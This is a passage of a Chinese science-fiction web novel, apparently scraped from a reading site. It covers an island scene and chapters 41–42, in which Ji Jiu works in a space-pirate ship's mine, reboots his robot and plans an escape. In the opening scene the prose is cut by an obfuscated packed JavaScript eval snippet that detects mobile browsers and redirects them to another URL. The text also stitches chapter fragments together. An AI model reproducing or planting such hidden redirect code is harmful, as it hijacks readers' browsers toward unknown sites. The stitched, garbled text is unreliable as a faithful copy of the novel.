关阙这次走得慢了些,不时停下打量四周。纪九加快脚步也能跟上,拐杖急促地点着地。 到了海滩上,纪九找了块石头坐下,关阙对他道:“我在林子里找了块空地,可以暂时落脚,但什么东西都没有,所以我要回一趟飞行器,取一些必需物品。” “那你还会回来吗?” “你觉得呢?”关阙淡淡地反问。 纪九虽然有密码傍身,但关阙要独自去飞行器,他还是不太放心,便道:“阿怪,你可要记得,你之前是怎么利用我达到你的一系列目的。我这个人有个优点,就是不斤斤计较,吃点亏无所谓。但我不和你计较,不代表你就不欠我。” 关阙双手环胸:“我可刚救了你,不然你现在就是海里的一具浮尸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14220834|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪九侧头想了想:“行吧,那我们现在两不相欠,所有恩怨一笔勾销。” “一笔勾销?可以。”关阙点点头,“那把密码告诉我。” “我对你那个宝贝,对了,叫光明之眼是吧?我对它丝毫不感兴趣。但是阿怪,我怕现在把密码给你,转头就被你丢下海喂鱼。”纪九仰着头,冲他露出了一个无辜的笑,“放心,密码我会告诉你,但得我安全离开这个星球以后。” 关阙垂眸看着他,他又指了指远方,“你现在去飞行器吧,小心一点,注意安全,我和密码盒都在这儿等着你。” 纪九在密码盒三个字加重了音。 关阙也没说什么,只脱掉风衣丢了过来,纪九赶紧伸手接住。他又扯掉领带,一颗颗解开衬衣扣,解开皮带,将脱下的所有衣物都一件件丢了过来。而这个过程里,他面无表情地微垂着眸,目光始终落在纪九脸上。 他最后脱得只剩下一条内裤,露出线条分明的紧实肌肉,再转身走向大海。 纪九抱住他的衣物,手指捏到布料里的那个方形盒子,冲他背影喊:“阙哥,你放心,我一定会守好你的衣服。早去早回,别忘了吴思琪啊……” 一道水线延伸向远方,纪九一直朝那方向挥手,直到人消失在海尽头,这才从风衣兜里掏出那个密码盒,输入密码,打开。 光明之眼就躺在盒底,深黑底色,表面有天然的淡灰色纹路。他拿在手里,沉甸甸的有些份量,触手冰凉,看着既像是某种特殊物质金属,又像是陨石块。 纪九看了半晌也搞不清楚这究竟是什么,便重新锁好盒子,揣进了自己的衣兜。 他现在才有时间来查看自己的伤脚,看见脚腕处已经肿了起来,皮肤也泛起青紫。他忍住痛去按触,发现不光骨折,还有着错位,情况比他想的还要糟糕。 但他现在手边什么都没有,暂时无法处理,只能放下裤腿,坐在礁石上等待关阙。 湿衣物贴在身上不太舒服,他正想脱下来晒在旁边石头上,就见周围光线迅速暗了下来。他抬起头,看见原本晴朗无云的天空上已布满乌云,像是一场大雨就要来临。 这岛上气候变幻莫测,他前一刻还在琢磨这场雨要多久才会落下来,下一秒,暴雨便已倾盆而下。 纪九没法再坐在这儿,只得扶着拐杖撑起身,去密林里躲躲雨。 纪九从未在银辉星见过这样的暴雨,雨点密集成线,再连成了片,让他感觉就像穿行在瀑布里。当他进入密林,虽然雨小了些,但雨点落在树叶上,又制造出特别响亮的动静,像是四处都在放机关枪。 纪九知道那密林深处肯定有猛兽,所以也不敢深入,只在边缘处找了棵大树坐下。 海面层层叠叠翻起了浪,原本碧蓝的海水也变得墨黑。纪九头顶关阙的风衣,眼睛盯着他离开的方向,不时仰头看一眼天空。 哗啦雨声里,他突然就想起了小时候。 那也是一个大雨天,母亲发烧生病,纪北宴出门找药,他端着小凳子坐在大门口,也是这样透过重重雨帘看着远方,翘首期盼着。 当时的情景和眼下突然重合,只不过当时是在等哥哥,现在却是在等一名塔柯人序列者。纪九在心里细细品味,觉得有些可笑,但想到自己现在的处境,心情又开始低落。 虽然他现在只能依靠关阙生存,但他从来不会希望全部寄托在别人身上,必须要想到下一步的应对方案。 纪九扯了扯头顶上的风衣,手指轻轻捏着那个密码盒,开始琢磨接下来的对策。 他不知道等了多久,一直都在出神,密林里雨打树叶的声音又太过响亮,所以没有注意到,头顶上方出现了一只巨鸟。 巨鸟张开的双翅足有两米,双瞳赤红,尖喙尺余长,爪子锋利如钩。它盘旋在林木之上,贪婪的目光透过树叶缝隙看着纪九,接着便俯冲而下。 40-50 第41章 陈二煤带着纪九去了底舱。 底舱是工人宿舍,昏暗狭窄,每个房间里放着几张上下铺。两人停在其中一间房门后,陈二煤指着墙角的一张空床:“给你五分钟准备时间,然后去干活儿。” 纪九不能住在这样的宿舍里,关阙还没醒,人多眼杂,万一有人发现他的异常怎么办? “煤哥,你也知道我同伴身体不太好——我保证他不是植物人——但现在和大家住在一起,他这个病情的确不适合,也影响身体恢复。最主要的是,我希望他早点醒,那样也能早点付给贵公司票钱……” 纪九从到到尾都表现得诚恳且无害,说话也讨喜,所以陈二煤对他的印象还算不错。 他想了想后道:“那边有个小屋子,只放得下一张单人床,温控器也坏了,你愿意去住吗?” “愿意,当然愿意。” 这间房位于拐角处,但空间狭窄,屋内只有一架单人床,柜子都只能钉在高处,连转身都很艰难。 陈二煤等在门口,纪九将关阙抱上床,对鸟崽小声叮嘱:“雀宝,爸爸要去干活了,你就在这儿守着。要是他中间睡醒了,或者有人进来了,你就赶紧去刚才路过那厂房叫我。” “啾啾。”鸟崽挺起胸脯站在床上,见纪九对他抬起手,便也扬起一只翅膀。 纪九的手掌击了下它的翅膀:“加油。” “啾啾。” 厂房里机器轰鸣,装满矿石的推车来来往往,工人们抬起一筐筐矿石,倾倒入机舱,再由传送皮带运送去其他车间。 右墙下坐着一群老弱病残,正用筛子筛矿砂。这活儿不算重,所以大家一边干活,一边打量着纪九。 “我们星舰都没在星球上停靠,你是怎么进来的?怎么就在这儿干活了?” “你叫什么名字?多大了?” “娃,你这怀了几个月了?孩子的另一个爸爸呢?” …… 怀孕原本是最让纪九烦恼的事,但现在他将这事从第一的位置往后挪,搁到关阙复活和平安离开土匪窝这两件事后面。 他没有对肚子遮遮掩掩,只坐在小凳子上,转动手里的大圆筛,坦然回答周围人的询问:“叔,我乘坐的星舰在太空里损毁了,幸好那儿离空间站不远,我就从太空里飞来了。大姨,我欠了公司的票钱,所以干活抵债呢。我叫刘金福,24岁,怀了五个月了,遗腹子。” “哎哟……” “哎,你这娃长得这么俊,命怎么就这么苦。” 纪九立即就博得了这群人的同情和怜爱,有人提了个高一点的靠背椅过来:“小伙子,你坐这个,不屈着肚子。” “好的,谢谢叔。” 纪九心不在焉地筛了一上午矿,总是去看通往底舱宿舍区的通道口。但鸟崽一直没有出现,也就表示关阙一直没醒。他等得太过心焦,在工人集体上厕所时,飞速冲回了宿舍。 “怎么样?”纪九撞开了宿舍门。 趴在关阙头侧的鸟崽站起了身,摇摇脑袋:“啾啾。” 纪九喘着气走到床边,伸手去摸关阙的颈动脉,又不甘地问鸟崽:“眼睛都没睁过一次吗?” “……啾啾。” 纪九默默站直身,看见关阙脖子上多出来两道黑手印,用手背去蹭,结果更黑了。 他走向门口:“如果他醒了,马上就来叫我。” “啾啾。” 中午时,食堂员工推着餐车进入厂房,大家都排队领餐。纪九去水房洗了手,领了自己的饭菜,是两个馒头和一小碟预制菜品。 关阙依旧没有醒,他掰碎一个馒头喂鸟崽,自己在床边坐下,一脸沉郁地吃着剩下那一个。 关阙在H58死亡过两次,都是过了一晚上就活了过来,可这次不知道怎么回事,迟迟没有复活。他心里不免胡思乱想,猜测是因为关阙本身就有伤?或者是窒息式死亡需要更多的时间来恢复? 可他在H58,也被绳子勒死过啊。 纪九正想着,突然发现鸟崽已经吃完了那个馒头,正眼巴巴地看着他。 他动作一顿,问道:“不够吗?” 鸟崽赶紧摇摇头,又转过身,假装吃饱了在饭后溜达,还打了一个响亮的嗝。 纪九很清楚鸟崽的饭量,平常一顿要吃满满一大碗面包粒,还要泡上奶或是加上肉块。这两个馒头也就拳头大小,只一个的话,它肯定没有吃饱。 “雀宝,来帮爸爸把剩下这点吃了。”纪九将手里剩下的小半个馒头递了过去。 鸟崽连连摇头,将翅膀背在身后。 “爸爸吃不下了,想吐,你要不吃的话,就只能扔了。”纪九皱着眉,一脸反胃状。 鸟崽看着他,这次便慢慢伸出翅膀,将那半个馒头接走。 中午只有一个小时的休息时间,纪九吃完饭,去水房打了一盆热水,用毛巾给关阙擦手擦脸,顺便活动一下肢体。 关阙看上去和活人无异,只是身体冰凉,脸上也没有血色。 关阙除了身体冰凉,脸上也没有血色,其他都和活人无异。纪九解开他的衬衫,用毛巾擦过胸膛皮肤,嘴里不放心地叮嘱:“你要快点醒过来,就算这一两天醒不了,你也要努努力,坚持一下,不要长尸斑。你只要长了那玩意儿,一眼就能被人看出来,到时候他们肯定要把你扔进太空……” 短暂的午间休息后,纪九继续干活。他一边筛矿,一边和旁边那些人闲聊,也打听出了不少的消息。 这里的工人并不像他想象那般,全是被弄来还账的“客户”。这些人其中有一部分是欠了高昂债款,或是犯了事的逃犯,也有身家清白的,到舰上只是因为躲避战乱。 “你们不想离开吗?”纪九问。 “每天从早到晚地干活,谁想留下来?但这不是没办法嘛。” “我是卫五星宏城人,塔柯军和银盟军在我的家乡打仗,把宏城给打没了。我到处流浪,这里好歹管食宿,虽然累点苦点,但饿不死。” “是啊是啊,我是柏亚星来的,我们柏亚星主城随时都被轰炸,我也是没办法。” …… 纪九安静地听着,暗暗叹了口气,也将那些原本还想试探的话都尽数咽了下去。 下午七点,纪九终于结束一天的劳作,洗过澡,吃过饭,浑身疲惫地躺在小屋床上。他身体左侧紧贴着关阙,右边则挤着鸟崽,门缝里飘进来大声喧哗和吵闹,那是隔壁舱房的工人正在玩纸牌。 “啾啾。”鸟崽啄了下纪九胳膊,抬起翅膀指着关阙。 “他很能睡的,没事。” “啾啾?” “应该快醒了。”纪九喃喃道,“我也很着急啊……” 两个就守着关阙,等着他苏醒,纪九不时就要伸手去摸下他的心脏。可直到深夜来临,整层舱房都陷入安静,关阙也依旧没有苏醒的迹象。 鸟崽终于撑不住地睡了过去,纪九关了灯,在黑暗里看着关阙隐约的面部轮廓,很轻地问道:“你当时为什么要那么做?为什么?你很怕我出事吗?那么在意我?” 纪九睡着后,墙上温控器显示屏的数字便开始胡乱跳动,往外吹起了热风。 小屋内气温陡然爬升,纪九从睡梦中被热醒,烦躁地翻了个身,碰到关阙冰凉的身躯,便将自己的四肢都缠了上去,还将脸贴在他胸膛上,惬意地蹭了蹭。 “啾……”鸟崽也在烦躁地扑打翅膀。纪九眼也不睁地反过手,将它抓起来放在关阙的小腹上。 鸟崽感受到凉意,将身体摊平成一张饼,舒服地睡了过去。 好在没过多久,温控器又恢复正常。纪九慢慢感觉到冷,闭着眼睛捞起踢到床下的被子,搭在两人身上,也将鸟崽兜头盖住。 屋内一片安静,门缝处透进来几缕光线。那被子下窸窸窣窣地伸出一只手,摸索着按住关阙颈动脉,片刻后,又失望地缩了回去。 第二天清早,门外响起了其他人去水房洗漱的脚步声。纪九醒来的第一时间,便是将耳朵贴上关阙胸膛,接着又凑近他身体四处嗅闻,拨开他衣领,去看皮肤上有没有出现尸斑。 关阙的皮肤依旧苍白光洁,并没有出现斑点。他身上也依旧是一股清淡的味道,如风过松林般清新又深远,并没有什么异味。 纪九仰起头,盯着天花板怔怔出神,接着伸手使劲搓脸,像是要将那些沮丧和不安全部搓走。 他放下手时,侧头对关阙说了声早,又掀开被子,曲起手指,轻轻弹了下躺在关阙肚子上呼呼大睡的鸟崽脑袋。再抬脚下床,蹲下身去取放在床底的洗漱用品和脸盆。 他今天依旧和一堆年老体弱坐在墙角,一边聊天,一边从粗矿里筛出精矿。 他凭借嘴甜人俊,还有身怀遗腹子的寡夫身份加持,短短一天半时间,便完全征服了这一群人,并从他们嘴里套出来了很多信息。 比如这里的工头有多少人,巡逻队一共有几队,间隔时间是多少等等。 午饭休息时,他端着两个馒头回到了小屋,查看过关阙情况后,便将馒头掰碎了喂给鸟崽。 “你这次是怎么了?总不会就这样躺下去了吧?”纪九忧心忡仲地想,如果关阙一直不醒,那么等到离开这里后,要想法找个嘴严的医生给他瞧瞧。 鸟崽很快吃完了一个馒头,纪九还要给它再掰半个,它像是察觉到纪九其实也不够吃,所以怎么也不张嘴,只拍着自己的肚子,意思说很饱。 纪九大口啃着馒头,对着鸟崽道:“放心,爸不会让你挨饿。”他指了指墙角的机器人,“我等会儿就去把你思琪叔唤醒,让它也给你挣饭去。”想了想后又道,“还得搞把枪,顺便弄两个充得足足的氧气筒备着,这次真被那没充满的氧气筒给害惨了。” 纪九通过观察,还有和周围人的聊天,已经对这艘舰里的星盗作出了粗略评估。 他没见过这群人的作战能力,但能在太空里逃窜数年没被抓到,想来应该不错。 但他们到底不是正规军,没有受过什么训练,所以星舰内防守看似严密,实则有多处疏漏,他想要办点事情也不难。 深夜十二点,舰上的人都已经入睡,底舱最角落的小屋房门被打开,一道人影迅捷闪出。 纪九背着机器人,悄无声息地走过通道,进入生产车间,攀上了去往上层的铁梯。 所有的大型机械都停下运行,整个车间静谧无声,已没有了白日的喧嚣。他爬到快至上层出口,却没有立即钻出去,只靠着铁梯,安静地看着腕表。 两分钟后,头上响起拖沓的脚步声,两名打着呵欠的巡逻队员准时到来。 纪九抓住横栏,荡到了铁梯背后。灯光从铁梯间隔洒落,将他的脸映得斑驳,如同一只蛰伏在丛林里的猎豹。 那两名巡逻队员从楼梯口经过,都往下看了眼,却没有发现有人就藏在他们脚下。 巡逻队员刚走过,纪九便倏地窜出了楼梯口,再抓住面前铁梯继续往上,直接从两名巡逻队员身后爬到了第三层。 第三层是主机舱,只有公司的内部人员可以出入。纪九背着机器人和氧气筒,在那些机械形成的通道之间穿梭奔行。 主机舱右方放着数十名报废的机器人,都缺胳膊少腿,或站或躺地堆叠在一起。 纪九冲过那堆机器人,又猛地刹住脚,后退几步。 他确定挂在一台机械背后的是启动器后,便放下背上的机器人和氧气筒,只用手拖着机器人,钻进了两座机械之间的空隙。 这道空隙不宽,对于纪九来说,侧身尚能勉强通行。他含胸收腹,尽量伸长手,艰难地摘下了那挂在机械背后的启动器,再打开旁边机器人后脑上的小圆盖,将启动器连接在它后脑上。 前方传来了脚步声,两名第三层巡逻人员正在靠近。 “我们到底是去哪儿呢?这次的航行路线居然还保密,奇怪。” “王总说了,等会儿就会告诉我们。” …… 交谈声越来越近,那两名巡逻人员走到这里时,竟然停下休息,就站在空隙的左右两边继续交谈。 他们脚边就搁着纪九放着的两个空氧气筒,这里四处堆放着物品,所以他们也没觉得有什么不对劲,其中一人还用脚尖轻轻踢着。 如果他俩谁转头往空隙里看一眼,便会看见后脑处一下下闪着微弱绿光的机器人,还有屏息凝神手握启动器的纪九。 此时底舱小房间内,关阙紧闭双目躺在床上。他衬衫敞开着,鸟崽趴在他赤裸的胸膛上,门外稍有风吹草动,便立即警惕地支起脑袋。直到确定没有异状,才又重新趴回去。 温控器又出了问题,数字显示屋内气温已经到了43°,鸟崽热得有些烦躁,一会儿躺在关阙小腹上,一会儿又全身摊平趴在他胸膛上。 不知不觉,鸟崽的身体外,竟然慢慢浮起了一层金色的柔光。它低头看着自己,有些惊讶地站起身,转着头四处张望。当目光落在对面的金属墙面,看清里面的倒影后,有些疑惑地睁大了眼睛。 它歪了歪脑袋,扇了下翅膀,接着又慢慢分开两只脚爪,在关阙胸膛上劈了个叉。 它这下终于能确定那闪着光的倒影是自己,便激动地去推关阙,推他的手臂,用翅膀扇他的脸,想让他醒来看看自己。 关阙一动不动,温控器很快又恢复正常,屋内吹起了丝丝凉风,但笼罩在鸟崽身上的那层光晕也慢慢消褪散去。 鸟崽失望地看着变得灰扑扑的倒影,又看看关阙,满脸沮丧地重新趴了下去。 星舰第三层工作间内,那两名巡逻人员终于离开,机器人也终于启动完成。 纪九将启动器放回原位,按下了机器人的开机键。 机器人的面部屏幕亮起,出现了一双缓缓睁开的眼睛。它认出了面前的人,刚要出声,纪九便竖起食指在嘴边:“嘘。”接着又抱住它,在它脑袋上狠狠亲了一口,“欢迎回来,宝贝儿。” 机器人将他推开,立即去看他肚子,发现比之前大了点,惊喜地伸手指着:“哇——” “注意你的言辞啊,不要一醒来就说胡话。看见旁边那把磁力枪了吗?我可以让你刚醒来又接着睡。”纪九警告道。 机器人便憋住那些询问胎儿情况的话,只转着头四处查看,接着放轻了声音:“我们还是被银盟军抓了吗?这是晨曦星监狱?我们是准备越狱吗?” “没有,这儿不是银盟军监狱,你已经睡了半个月,我们早就离开了银辉星。” 机器人松了口气:“我就知道你不可能让我在那么危险的地方苏醒。那这是哪儿?” 纪九注意听着外面的动静,嘴里回道:“土匪窝。” “土匪窝?” “这是一艘大型星舰,里面全是土匪。” 机器人愣了片刻:“要不你还是把我关机算了?” 纪九侧着身体,艰难地往缝隙外挪,嘴里道:“别担心,这些土匪菜得很,我一个打十个。现在有了你,如虎添翼,我俩联手,打三十个不在话下。” “那你让我醒来,是准备大干一场的意思吗?”机器人立即有些振奋,“谁让我是最新型最厉害的军用机器人呢?那我们就联手,一起捣毁这个很菜的土匪窝。” 纪九挪到缝隙边缘,探出头左右看:“我让你醒来,的确是要你大干一场,但不是打架。” “不打架?那是要做什么?” 纪九缓缓吐出两个字:“挖矿。” “挖矿?”机器人沉默了两秒,“是我理解的那个意思吗?” “对,就是那个意思。” 纪九闪身离开缝隙,嘴里轻声道:“我每顿只有两个馒头,我和雀宝都吃不饱。但是你来了,如虎添翼,我俩联手干活,每顿就可以多领两个馒头了。” 机器人站着一动不动。 “别愣着,趁没人快点出来。”纪九催促。 待到机器人也钻出缝隙,纪九提上两个氧气筒,低声笑道:“挖矿只是暂时的,等这艘星舰一着陆,我们就要杀出去。” “那我们现在是要做什么?”机器人问道。 “搞枪,充氧。” 纪九在那些仪器间穿行,机器人紧跟在他身旁,不停转头去看他的肚子。 它趁纪九没注意,悄悄拿手去比了下他的肚子高度,接着扭头朝向另一边,屏幕上快速闪动兴奋的光。 等它再转回头时,屏幕已恢复正常,只一副若无其事的样子。 第42章 第三层机房控制间里,三名星盗正在检查发动机数据。 房门突然被推开,却迟迟没有人进屋。一名星盗起身,探出头往外看,接着关门,疑惑地走了回来。 “是谁在推门?” “不知道,外面没人,奇怪了。” 三人继续整理数据,但才过了没两分钟,门扇突然再次被推开,还重重撞上墙壁,发出一声巨响。 三人对视一眼后,都拔出腰间枪支,齐齐冲了出去。 门外依旧没有人,但拐角处有身影闪过,还在地面投下了一道矮敦的影子。 “站住!” “那是谁?站住!” 三名星盗追了上去,刚消失在拐角处,纪九便从旁边杂屋内闪出,迅速进入了控制间。 这屋里很是杂乱,陈旧开裂的皮沙发上堆着几件工作服和一条脏兮兮的毛毯,吃剩的餐盒随意丢在茶几上,旁边还搁着两个空枪套。 纪九径直去向右边,取下墙上的充氧器,分别给两个氧气筒注氧,接着绕到办公桌后,轮流拉开那些抽屉,从里面找到了一把手枪。 他检查过弹匣,将手枪别在腰后,充氧器也发出充氧结束的提示音。他提上两个氧气筒离开了控制间,在那些大型机械之间的通道里匆匆穿行。 还没走出一段,前方突然传来说话声,地面上也出现了几道晃动的人影。他赶紧闪身,躲到右边一台仪器的背后。 “这次我没有提前把目的地告诉你们几个,不是我不信任你们,而是这事要绝对保密。” 纪九听见了一道沙哑的陌生男声,便微微侧头,从仪器间的缝隙看了出去。只见几名星盗正簇拥着一名身穿西服的中年人,面色恭敬地听他讲话。 “你们也知道,钔矿太稀少,不管是银盟军还是塔柯军,都在争夺仅有的矿源,我们平常别说采,连靠近都没办法。” 中年人身形富态,看上去并不像名星盗,倒像是名生意人。他微微沉吟后又道:“不过你们也要提前做好登陆准备,让弟兄们把表都调后两个小时。” “王总,我们兄弟都听您的。” “王总,您怎么安排,我们就怎么做。” 星盗小头目们纷纷表忠心。 纪九从缝隙里看着那名中年人,直到他们渐渐走远,这才从仪器后钻了出来,猫腰跑向了楼梯口。 机器人已经等在了那里,正趴在铁梯上,朝着外面探头探脑。纪九对它打了个手势,两个都抓住铁梯迅速下溜。 两个回到小屋,紧闭上门,鸟崽看见机器人,高兴地冲了上来,叽叽喳喳叫个不停。 机器人迟疑了几秒,终于还是蹲下身,将鸟崽抱了起来。 它目光移到床上,在看清那名闭目平躺的人是关阙后,惊讶出声:“他怎么在这儿?” “你睡着的这段时间,他都和我们在一起。”纪九将氧气筒藏在床下,用那两套宇航服盖住。 机器人也不过去床边,只伸长脑袋看:“他是又死了吗?” 纪九动作顿了顿:“嗯。” “你怎么把他杀掉的?” “不是我杀的。” 机器人满脸狐疑,屏幕上的那双眼睛微微眯起。 纪九蹲在床边,转头看着他,轻轻叹了口气:“不过的确也是因为我,等会儿再告诉你经过。” 他撑着床沿站起身,碰触到关阙的手,发现那皮肤不似之前那般冰凉。他倒不吃惊,只转过身,跨前一步高高跃起,照着墙上的调温器一拳砸去。 砰一声重响,失控的调温器又恢复了正常。 “啾啾啾。”鸟崽让机器人把自己放下地,跑到纪九腿边,伸出两只翅膀给他看。接着用翅膀抱住脑袋,再慢慢滑下,摸过自己的肚子和全身,最后劈了个叉。 纪九:“……” “嗯,我知道的,雀宝的身材很好。”纪九猜测它要表达的意思,斟酌着开口。 “啾啾啾啾啾!”鸟崽重复刚才的动作,嘴里急切地解释。 “表演得不错,雀宝的身材太好了,很有曲线。”纪九一手环胸,一手摸着自己下巴,又补充,“非常肥美。” 鸟崽给纪九说不清,只得闭嘴爬上床,推了推关阙的胳膊。它见关阙依旧一动不动,有些生气地一翅膀扇在他脸上,再满脸沮丧地趴在他身旁。 “你接下来有什么计划?”机器人问。 纪九看了眼时间:“先睡觉,有什么事等到明天再说。我得养足精神,明天还要早起挖矿。墙边就有插座,你可以去充电休息。” “挖矿很重要吗?我们必须要拟定好逃跑计划!” “重要,不挖矿就没有馒头。”纪九去床上躺下,抬手关了灯,“晚安,吴思琪。” 机器人只得闷闷地道:“晚安,纪九。” “啾啾啾啾。” “晚安,雀宝。” 第二天,早上八点,舰内所有机械都已开启,沉寂了一夜的车间重回喧嚣。 “工头,这是我的机器人,它昨晚突然就能开机启动了,我想让它也跟着一起干活,替公司多做出一份贡献。”纪九在机器轰鸣声中,大声对工头道。 工头仔细打量着站在纪九身旁的机器人,看着它线条流畅的机械身体,还有那个一看就不普通的脸部屏幕,狐疑地问道:“这是哪儿来的机器人?你们公司会有这样的机器人?这好像是军用的吧?” “改装的,市面上就有各种机器人外壳,套上去就大变样。你看看它的腿,还没来得及套壳,这才是它的原生腿。” 工头视线下移,看见那两条粗陋廉价的机械腿,这才打消了心头疑虑。 “行,那让它去那边装车吧。” 纪九揽着沉着脸的机器人往右边走,低声道:“也不用多卖力,主要就是多领一份饭就行。你看前面,那些装车的全是机器人,个个英姿勃发,它们都是你的同伴,快去和它们打个招呼。” “它们都是工业机器人,本来就是挖矿的。但我是最新型军用机器人,不是挖矿的。” “你这种高高在上的心态要不得。大家都是机器人,不能搞歧视。你看那热火朝天的工作氛围,难道不心情激荡?不想快点投身进去?吴思琪,劳动最光荣。”纪九苦口婆心道。 “金福,快来这边筛矿,给你留了个位。” 纪九听见筛矿区有人喊,转头冲着那边回道:“姨,我马上过来。”接着拍拍机器人的肩,“好好干,开始你朝气蓬勃的一天。” 机器人等纪九离开后,走向了装车区。这里的机器人都拿着铁铲,从传输皮带上铲下矿石,装入旁边的金属筐。等到一筐装满,便挂上从顶上垂下的挂钩,那筐矿石便被自动送去下一个车间。 而每当一筐矿石被运走,那名机器人身前便亮起一盏绿灯,同时灯上出现一个数字,显示已被它装好吊走的筐数。 吴思琪走去流水线旁的一个空位,左右看看,从地上拿起一把铁铲,学着旁边机器人的动作,从运输皮带上铲了一铲矿石,再倒入身后的金属筐。 “你还没有按灯,要按下灯后才开始计数。”旁边那名机器人出声提醒。 “谢谢。”吴思琪按下了绿灯,然后继续铲矿石。 哗一声响,它铲子里的矿石掉落一地,周围几名机器人都停下手头工作,转头看着它。 吴思琪解释:“我不是工业机器人,我是——算了,说出来会吓你们一跳。我虽然对铲矿还有稍微那么一点点不熟悉,但我有着最强大的学习能力,马上就能进行高效工作。” 机器人们继续铲矿,吴思琪一边挥动铁铲,一边去看身旁那名机器人,看它动作熟练地挥铲、运石、入筐,再迅速扯下头顶挂钩,将满框矿石吊走。而它身前的绿灯也跟着亮起,显出了数字五。 吴思琪目光闪了闪,也开始加紧进度。 上午有二十分钟休息时间,所有人都趁这时间去往卫生间。 卫生间门外排着长队,纪九在队伍里站了片刻,见没人注意,便闪入旁边通道,再按照昨晚的路线,飞快地到达第三层。 他今天已经打听出王总的办公室位置,借助那些大型器械的遮掩,在躲过三三两两的星盗后,抵达一条通道。 他背靠墙壁,用脚尖将一块测地仪轻轻拨进通道,借助它镜子般的金属表面,去查看通道内情况。 通道尽头便是王总的办公室,可门口站着四名持枪的星盗。通道两侧的房间也都大敞着门,里面全是星盗,还随时在进进出出。 纪九看见前面也来了两名星盗后,便也不再停留,悄悄回到了一层厂房,接着干活。 到了中午,食堂工人推着几辆餐车进入车间,工头喊了声休息吃饭,所有人立即放下手头的活儿,去水管处洗手,再排队打饭。 纪九排到近处,领了两个馒头,又让身后排着的机器人上前。 打饭的老头正要将两个馒头放入搁在自己面前的餐盘,又倏地收回手。 “怎么是个机器人?机器人也要打饭?”老头问。 纪九在一旁道:“它工作了一上午,为什么不能打饭?” “那可不行,我就没见过机器人排队领饭的,而且它领了也不会吃啊。”老头不停摆手。 “什么事?吵吵嚷嚷的。”站在队伍另一边的工头便走了过来。 纪九还没回答,机器人转头看向他,语气咄咄地道:“工头先生,我在A运送带4号点工作,已完成铲矿数25筐,而今天上午A运送点的平均铲矿数是15筐。我请问,如此优秀的工作成绩,难道还不值两个馒头吗?” 工头听得有些发愣,转头看向纪九。 纪九轻轻咳了一声:“情绪情感值百分百。”接着又补充,“但是它说得在理。” 过了好几秒,工头才回过神,他看看机器人,又对那打饭老头道:“行吧,给它打饭。” “可是给它打了它也不会吃啊。” “吃不吃是我的事,但这是本就是属于我的两个馒头,你必须得给我。”机器人道。 “给它嘛,不就三个馒头,你想听它一直说个没完吗?”工头冲着老头不耐烦地道。 老头满脸不情愿,却也只能夹起两个馒头,放进了机器人的盘里。 “三个,他说的是三个。”机器人道。 老头看着那固执地递在自己面前的盘子,只得又夹了一个放进去。 鸟崽今天的午饭吃得很是满足,机器人将馒头掰成小块喂给它,它一边吃,一边在屋内愉快地走来走去,咽下后再回头,仰起头张开嘴,等机器人再喂。 纪九给关阙擦完身,收拾好毛巾水盆,这才拿起一个馒头,在床边坐了下去。 他狠狠咬了一口馒头,含混地道:“昨晚我去启动你的时候,遇到了一名叫做王总的人,应该是这伙星盗的头。只要擒住他,就可以提条件,让他提供一艘小型舰,我们就能离开这儿。但是我今天去看了下,这个人太谨慎,有些不好下手,得找一个能接近他的机会才行。” “系统评定了我上午的工作成绩,是A+。”机器人一边喂鸟崽,一边陷入自己思绪里。 纪九微微眯起眼,看着虚空中的一点:“我听见他在说,让手下的人把表往后调两个小时。根据时差判断,星舰的下一个目的地可能有三处,分别是晨曦星,旋3和旋6。” “但是我旁边那个机器人,它的工作成绩是A++!!”机器人提高了音量。 “晨曦星是仅次于银辉星的主星,这群星盗的目的地不可能是那里。而旋3气候恶劣,土地贫瘠,旋6则是一颗矿藏丰富的开采中矿星,这群星盗的目的地应该是旋6。”纪九满脸若有所思。 “它一条胳膊都没了,只有右臂在挥铲,我还是军用机器人,但是它是A++!”机器人满脸怀疑人生。 “按照空域路程,星舰今晚就能到达旋6,而王总肯定会出现,这就是我的机会。” “我的工作步骤里肯定有疏漏,下午我要好好研究一下。” 纪九转过头,抓住了机器人的一条胳膊:“好好准备一下,今晚星舰要抵达旋6,只要它登陆地面,我们就要行动。” “哦。”机器人心不在焉地应声。 纪九顿了顿:“吴思琪,你不用对这份活太上心。你忘了我们的初衷吗?只是为了给鸟崽挣口饭吃,而且晚上我们就要离开这里。” “我知道的。”机器人道。 短暂的午饭时间结束,两个又重新开始挖矿筛框。纪九几次探出身,看向车间右方,都能看见机器人正在飞快挥动铁铲的身影。 它将一把铁铲抡得快要飞起,还找了根布条,扎在自己的额头上。每吊走一筐矿石,便扭头去看自己的筐数,还会去看其他机器人的筐数。而在它的刺激下,那一整排机器人都被激起了竞争欲,铁铲上下飞舞,绿灯不断亮起,一筐接一筐的矿石被运走。 到了下午收工时,所有人都离开了车间,只有那群机器人还不肯走,依旧在铲石装车。 “吴思琪,够了。”纪九背靠着一根廊柱,双手环胸,神情无奈地看着那排机器人。 “大家都没有下班,我也不下班。” 吴思琪挥着铲,眼睛却死死盯着旁边的一名独臂机器人。纪九从它的目光便可以肯定,独臂机器人就是那个A++。 纪九走前两步,在它身后低声道:“挖矿很重要吗?我们要回去做准备了,那才是正事。” “重要,很重要!” 一群机器人你追我赶,干得停不下来,还是工头及时将流水线皮带的电给闸了,皮带不再运转,才终于让它们停手。 吴思琪盯着前方的小绿灯,听着那道系统音:“4号工作点此次工作评分,A+。” 吴思琪又紧张地看向旁边那名独臂机器人。 “3号工作点此次工作评分,A++。” 独臂机器人缓缓丢掉手里的铁铲,看也不看吴思琪一眼,就昂首挺胸地从它身旁经过,和其他机器人一起去了停置机器人的墙边。 吴思琪失魂落魄地站在原地,纪九拿掉它的铁铲,揽住它往回走,安慰道:“眼光放远一点,一点小事而已,有时候不要那么好胜,退一步海阔天空……” 纪九根据时差推测,这艘星舰今晚就能抵达旋6。他吃过晚饭后,便将所有物品都备好,枪支别在腰后,宇航服提前穿上,并给关阙也套上了一件。 